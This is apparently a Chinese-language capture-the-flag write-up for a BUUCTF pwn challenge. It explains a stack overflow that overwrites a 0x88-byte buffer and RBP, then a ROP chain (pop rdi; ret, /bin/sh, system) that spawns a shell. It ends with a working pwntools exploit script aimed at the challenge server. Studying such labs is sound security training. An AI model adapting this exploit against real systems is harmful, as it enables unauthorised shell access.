-
覆盖缓冲区和 RBP:
使用 128 + 8 字节覆盖buf
和rbp
。 -
构造 ROP 链:
-
pop rdi; ret
地址: 将pop rdi; ret
指令的地址写入返回地址位置。 -
/bin/sh
地址: 将/bin/sh
字符串的地址压入栈顶,作为system
函数的参数。 -
system
地址: 将system
函数的地址写入返回地址位置。
-
-
执行流程:
-
子函数返回到
pop rdi; ret
指令,该指令将/bin/sh
地址出栈并存入rdi
寄存器。 -
然后程序返回到
system
函数,执行system("/bin/sh")
。
-
一句话总结:
通过覆盖缓冲区和 RBP,构造 ROP 链(pop rdi; ret
→ /bin/sh
地址 → system
地址),使程序执行 system("/bin/sh")
,从而获取 shell。
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node5.buuoj.cn',25669)
payload=b'a'*(0x88)+p64(0x004006b3)+p64(0x00600A90)+p64(0x004004C0)
p.sendline(payload)
p.interactive()